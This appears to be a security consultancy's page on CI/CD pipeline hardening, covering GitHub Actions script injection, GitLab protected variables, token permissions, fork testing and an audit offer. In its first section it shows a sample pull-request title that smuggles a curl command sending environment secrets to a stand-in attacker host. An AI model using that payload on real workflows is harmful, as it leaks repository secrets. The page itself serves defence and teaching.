Command Injection in GitHub Actions workflow steps
GitHub Actions workflows use context variables (like github.event.pull_request.title) to dynamically retrieve repository events. If these variables are printed inside a run shell step without sanitization, they are vulnerable to command injection:
# VULNERABLE GitHub Actions step: inline script injection
- name: Print Pull Request Title
run: |
echo "PR Title: ${{ github.event.pull_request.title }}" # Injection!
# Bypassed by submitting PR named: "; curl attacker-site.com/leak?key=$(env) # The Fix: Never use inline interpolation for untrusted inputs inside shell scripts. Pass context values as environment variables, which the operating system treats strictly as data strings:
# SECURE step pattern using environment variables
- name: Print Pull Request Title
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR Title: $PR_TITLE" # Safe: evaluated as variable string GitLab CI: Permissive branch variables and unprotected runners
GitLab CI stores deployment keys in environment variables. If these variables are not configured as Protected, developers on non-protected branches can run custom merge requests to print the environment secrets to build console logs. We audit your project variables to verify that all deployment credentials are set as Protected and Masked.
Least-privilege GITHUB_TOKEN permissions
GitHub Actions automatically generates a temporary token (GITHUB_TOKEN) for each job. In older repositories, this token has write access to the repository by default. If a dependency is compromised or an injection occurs, the attacker can push code directly to main. We audit workflows to verify that the token's permissions are explicitly declared as read-only:
# SECURE top-level permissions restriction in YAML
permissions:
contents: read
issues: none
pull-requests: none Command injection in pull request automated tests
A pull_request_target workflow checks out untrusted pull request code and places a branch name inside a shell command. A crafted branch name can run extra commands with the workflow token or repository secrets. Pass context through an environment variable, keep the value quoted, and never run untrusted code in a privileged workflow.
Run the workflow test without exposing secrets
- Build a trigger map. Record each workflow trigger, runner type, token permissions, environment, required reviewer, and secret source.
- Trace untrusted values. Follow issue titles, branch names, commit text, file paths, matrix values, and pull request code into shell, PowerShell, templates, and third-party actions.
- Test fork boundaries. Open a test pull request from a fork. Confirm it cannot reach secrets, write to the repository, use a protected environment, or run on a trusted self-hosted runner.
- Pin dependencies. Pin third-party actions and reusable workflows to a reviewed commit. Record the commit and owner.
- Test artifact trust. Upload an artifact with the same name from an untrusted job. A privileged deployment must select artifacts by verified workflow, commit, and run identity.
Keep the trigger map, effective token permissions, runner labels, sanitized logs, environment rules, and the test pull request. Redact secret values. The evidence needs to show which job received each permission.
Securing production deployment pipelines? Schedule a DevOps CI/CD security audit.
Book a CI/CD Security AuditFrequently asked questions
What is a workflow command injection in GitHub Actions?
Workflow command injection occurs when a GitHub Actions YAML file evaluates untrusted user input (such as pull request titles, issue comments, or commit messages) directly inside a shell script run step, allowing attackers to execute shell commands.
How do you protect secrets in GitLab CI?
GitLab CI secrets must be stored in Masked and Protected Variables. Ensure variables are restricted to protected branches only, preventing unauthorized merge requests from accessing API keys or deployment credentials.
Why are self-hosted runner configurations risky?
If self-hosted runners are shared across public repositories, anyone who submits a pull request can run code on your private build server, pivot to internal networks, and extract runner environment tokens.
Related reading
Blog: Securing CI/CD pipelines · Fintech AWS cloud security · Secrets management
Services: Secure architecture review · Penetration testing